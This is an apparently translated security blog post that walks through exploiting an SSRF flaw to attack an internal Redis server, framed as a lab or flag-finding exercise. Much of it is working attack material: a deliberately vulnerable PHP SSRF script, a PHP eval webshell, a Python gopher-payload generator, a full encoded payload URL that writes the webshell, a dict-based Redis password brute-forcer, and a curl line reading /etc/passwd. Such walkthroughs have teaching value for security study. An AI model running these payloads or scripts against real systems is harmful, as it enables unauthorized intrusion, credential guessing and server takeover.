Redis exploit of SSRF vulnerability

SSRF – (server side request forge)
Definition: the vulnerability caused by the attack link constructed by the attacker transmitted to the server for execution is generally used to detect or attack intranet services on the external network

The thinking map of SSRF vulnerability is as follows. This article mainly introduces the use of SSRF vulnerability to attack intranet Redis

SSRF attacks intranet Redis

When there is an SSRF vulnerability and the redis service in the Intranet can be accessed without authorization, it becomes a very common way to write arbitrary files in redis. Generally, there will be redis services running with root permission in the intranet. Redis in the Intranet can be attacked by using Gopher protocol.

In the previous article on the basics of SSRF vulnerabilities, we learned about the conventional utilization of file, dict and gopher protocols.

① More than 2000 e-books of network security series
② Network security standard question bank data
③ Project source code
④ Introduction to network security basics, Linux, web security, attack and defense videos
⑤ Network Security Learning Roadmap
[click here]

# Viewing files using file Protocol
curl -v 'http://sec.com/ssrf.php?url=file:///etc/passwd'

# Detecting ports with dict
curl -v 'http://sec.com/ssrf.php?url=dict://127.0.0.1:6379'

# Rebound shell using gopher protocol
curl -v 'http://sec.com/ssrf.php?url=gopher%3A%2F%2F127.0.0.1%3A6379/_....'

If we want to use Gopher protocol to construct messages, we must find out how Redis transmits data - i.e. [RESP protocol].

Redis transport protocol – [RESP protocol]

Redis is not authorized to access.

Use docker to build a ready-made Redis unauthorized vulnerability environment for testing. The process is as follows:

  1. Get Redis customized image
# Search image
docker search ju5ton1y
# Pull image
docker pull ju5ton1y/redis
  1. Run Redis container

    ps: if you want to know how to write the dockerfile of ju5ton1y/redis image, you can see the colored egg at the end of the text~

# Run Redis
docker run -p 6788:6379 --name redis_test -d ju5ton1y/redis

-p 6788:6379 # port mapping, format [host port: container port]

-d ju5ton1y/redis # runs the container in the background and returns the container ID

–name redis_test # naming container

  1. Enter the container and install the tcpdump packet capture tool
# New terminal enters Redis container
docker exec -it redis_test /bin/bash

# Change redis.conf to no password unauthorized
sed -i 's/requirepass 123123/#requirepass 123123/g' /etc/redis.conf

# Restart the container for the configuration to take effect
docker restart redis_test

# Re enter the container to install tcpdump
apt-get install tcpdump 
# Listen to port 6379 of eth0 network card and save the message as nopass.pcap
tcpdump -i eth0 port 6379 -w nopass.pcap

  1. After the local client connects without authorization, use Wireshark to open nopass.pcap

Viewing the TCP stream data, you can see the data transmission format of Redis, combined with Official website Learn the RESP protocol as follows:

Redis server communicates with client through RESP (REdis Serialization Protocol)

RESP protocol was introduced in Redis 1.2, but it has become a standard way to communicate with Redis servers in Redis 2.0

RESP is actually a serialization protocol that supports the following data types:

  • Simple string

  • error

  • integer

  • Batch string

  • array

RESP is used as a request response protocol in Redis as follows:

  1. The client sends the command to the Redis server as the RESP array of Bulk Strings

  2. The server replies to a RESP type according to the command

In RESP, the type of some data depends on the first byte:

  • For client requests for Simple Strings, the first byte of the reply is+

  • For the client request error, the first byte of the reply is-

  • For the client request Integer, the first byte replied is:

  • For client requests for Bulk Strings, the first byte of the reply is$

  • For the client request array, the first byte replied is*

In addition, RESP can use a special variant of Bulk Strings or Array specified later to represent Null values.

In RESP, different parts of the protocol always end with "\ r\n"(CRLF).

You can see that the process of sending commands from the client to the Redis server is

  • The client sends a RESP Arrays consisting only of Bulk Strings to the Redis server

  • The Redis server sends any valid RESP data type back to the client as a reply

Bulk Strings is used to represent a single binary security string with a maximum length of 512 MB, encoded as follows:

  • $bytes: a $followed by the number of bytes constituting the string, terminated by CRLF.

  • String data

  • CRLF

The encoding of string f4ke is as follows: $4\r\nf4ke\r\n, as shown in the following figure


RESP Arrays is sent in the following format:

  • *Number of elements: * character as the first byte, followed by the number of elements in the array, followed by CRLF

  • Each element in the array is appended with a RESP type

Now understand the packet through the following figure:

  • Each * number represents each command line, and number represents the number of elements in the array in each command line

  • * 3 in the figure represents the three elements of the command line config get dbfilename

  • $number represents the length of each element

  • $6 for config length

Redis authentication access,

Modify the redis.conf configuration and capture packets with a password.

# Enter the container to modify the configuration file
sed -i 's/# requirepass 123123/requirepass 123123/g' /data/redis/redis.conf
# Restart the docker container
docker restart redis_test
# Listen to port 6379 of eth0 network card and save the message as pass.pcap
tcpdump -i eth0 port 6379 -w pass.pcap

wireshark tracks TCP flows:

/Successfully written to shell.php under tmp

You can see that the following format is used for verification before each request command execution:

*2
$4
AUTH
$6
123123

It is mentioned in the official document that the client can send multiple commands through one write operation without reading the server response of the previous command before issuing the next command.

Therefore, in the case of authentication (weak password), we can still attack in the same way as unauthorized. We only need to add authentication data to the attack script.

SSRF attack recurrence

Redis is not authorized to access

Test environment:

Victim: Tencent virtual machine php7.2 (install curl extension) + apache2 + redis6.0.6

Attacker: Windows 10

Start with a piece of ssrf vulnerability code and use it to find the flag~

# ssrf.php
<?php
$ch = curl_init(); //Create a new cURL resource
curl\_setopt($ch, CURLOPT\_URL, $_GET\['url'\]); //Set the URL and corresponding options
# curl\_setopt($ch, CURLOPT\_FOLLOWLOCATION, 1);
curl\_setopt($ch, CURLOPT\_HEADER, 0);
# curl\_setopt($ch, CURLOPT\_PROTOCOLS, CURLPROTO\_HTTP | CURLPROTO\_HTTPS);
curl_exec($ch);   //Grab the URL content, pass it to the browser and store it in a file
curl_close($ch);  //Close cURL resources and free system resources
?>

Use the dict protocol to detect the host survival and port opening of the intranet. Use the burpsuite tool to set the blasting 1000-9000 ports. The blasting results are as follows. There is a redis service on port 6788.

Moreover, the 6788 Redis port of the virtual machine cannot be accessed locally, and its Redis service only faces the intranet where the virtual machine is located.

Preliminary idea: construct Redis command and write it into webshell, and try to use Chinese ant sword connection to find flag.

flushall
set 1 '<?php eval($_POST\[\\"f4ke\\"\]);?>'
config set dir /var/www/html
config set dbfilename 5he1l.php
save
quit

According to the RESP protocol, use the python script redisSsrf.py written by master Qiyou to convert the above command to gopher payload.

import urllib.parse

protocol = "gopher://"
ip = "127.0.0.1"
port = "6788"
shell = "\\n\\n<?php eval($_POST\[\\"f4ke\\"\]);?>\\n\\n"
filename = "5he1l.php"
path = "/var/www/html"
passwd = ""
cmd = \["flushall",
     "set 1 {}".format(shell.replace(" ","${IFS}")),  
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save",
     "quit"
    \]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload = protocol + ip + ":" + port + "/_"
def redis_format(arr):
    CRLF = "\\r\\n"
    redis_arr = arr.split(" ")
    cmd = ""
    cmd += "*" + str(len(redis_arr))
    for x in redis_arr:
        cmd += CRLF + "$" + str(len((x.replace("${IFS}"," ")))) + CRLF + x.replace("${IFS}"," ")
    cmd += CRLF
    return cmd

if \_\_name\_\_=="\_\_main\_\_":
    for x in cmd:
        payload += urllib.parse.quote(redis_format(x))

    # print(payload)
    print(urllib.parse.quote(payload))

Execute redissrf.py script to generate payload,

Put the url parameter into the browser. The request is as follows. Successfully execute the Redis command and write it to the webshell.

http://xx.xx.xx.xx:8000/ssrf.php?url=gopher%3A//127.0.0.1%3A6788/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252433%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2522f4ke%2522%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250A5he1l.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%252A1%250D%250A%25244%250D%250Aquit%250D%250A

Use the Chinese ant sword to establish a connection. The file is 5he1l.php we just wrote, and the password is f4ke

Save the data and right-click file management to find the flag file.

Redis weak password authentication

Test environment:

Victim: Tencent virtual machine php7.2 (install curl extension) + apache2 + redis6.0.6

Attacker: Windows 10

The browser access returns as follows: the request is not password authenticated.

We further use the dict protocol to try to authenticate the password using the following format.

dict://serverip:port / command: parameters
dict://127.0.0.1:6788/auth:123456

Use auth:123456 to return the result:

Use auth:123123 to return the result:

Through the two response results, it can be determined that the password of Redis is 123123,

Therefore, in the case of Intranet redis authentication, scripts can be written using protocols such as dict or gopher to try to blow up the redis password. The simple implementation of the blow up script is as follows:

import urllib.request
import urllib.parse 

url = "http://xx.xx.xx.xx:8000/ssrf.php?url="

param = 'dict://127.0.0.1:6788/auth:'

with open(r'd:\\test\\top100.txt', 'r') as f:
    for i in range(100):
        passwd = f.readline()
        all_url = url + param + passwd
        # print(all_url)
        request = urllib.request.Request(all_url)
        response = urllib.request.urlopen(request).read()
        # print(response)
        if "+OK\\r\\n+OK\\r\\n".encode() in response:
            print("redis passwd: " + passwd)
            break

Add the password obtained by blasting into the redissrf.py script. The next attack is the same as the attack process of unauthorized access to obtain the permission of the server.

SSRF utilization tool

Gopherus - https://github.com/tarunkant/Gopherus

Gopherus can help us directly generate Gopher payload to use SSRF (server-side Request Forgery) and obtain RCE (remote code execution),

For example, the script of master Qiyou in this article can use this tool instead of directly generating payload.

The following two tools are commonly used

  • SSRFmap - https://github.com/swisskyrepo/SSRFmap

  • shellver - https://github.com/0xR0/shellver

summary

In addition to writing webshell, SSRF can also be used to attack intranet Redis

  • Scheduled task execution command

  • Write the SSH keygen public key and log in using the private key

These two methods are used in detail in the article summary of unauthorized vulnerabilities in Redis. As long as the payload is combined with the script of redissrf.py, the attack can be realized.

Through the construction of Redis attack environment, I am familiar with the writing of docker commands and dockerfile s, as well as the configuration of ubuntu apache2 and the use of its own firewall ufw.

Easter egg

How the Dockerfile file enables customization of Redis unauthorized environment:

#Redis is not authorized to access

# Based on Ubuntu: version 16.04
FROM ubuntu:16.04

# Maintainer: sets the author of the image
MAINTAINER ju5ton1y


# RUN: used to execute the following command line commands. There are two formats:

## Shell format: equivalent to the shell command operated on the terminal
RUN echo "deb http://mirrors.aliyun.com/ubuntu/ xenial main restricted universe multiverse\ndeb  http://mirrors.aliyun.com/ubuntu/  xenial-security main restricted universe multiverse\ndeb  http://mirrors.aliyun.com/ubuntu/  xenial-updates main restricted universe multiverse\ndeb  http://mirrors.aliyun.com/ubuntu/  xenial-backports main restricted universe multiverse "> / etc / apt / sources.list # change source


RUN apt-get update  # to update
RUN apt-get install -y openssh-server make gcc
#RUN wget http://download.redis.io/releases/redis-3.2.11.tar.gz

# COPY: COPY files or directories from the context directory to the specified path in the container
COPY redis-3.2.11.tar.gz ./  # Copy the redis installation package to the current folder of the container
RUN tar xzf redis-3.2.11.tar.gz # decompression
RUN cd redis-3.2.11 && make && cd src && cp redis-server /usr/bin &&  cp redis-cli /usr/bin  # Compile and copy redis server and redis cli to / usr/bin directory

# ADD: copy file directive. It has two parameters < source > and < destination >. Destination is the path within the container. The source can be a URL or a file in the startup configuration context
ADD redis.conf /etc/redis.conf  # Mapping profiles into containers
ADD sshd\_config /etc/ssh/sshd\_config

# Export: Specifies the port on which the container listens at run time
EXPOSE 6379 22

RUN /etc/init.d/ssh restart  # Restart ssh service

# CMD is similar to the RUN instruction and runs when docker run s
## exec format: equivalent to run redis server / etc / redis.conf
CMD \["redis-server", "/etc/redis.conf"\]  # Start the redis service with the configuration file mapped to the container

The startup configuration context directory is as follows:

Tags: Database Redis security

Posted on Sat, 06 Nov 2021 08:44:43 -0400 by freewholly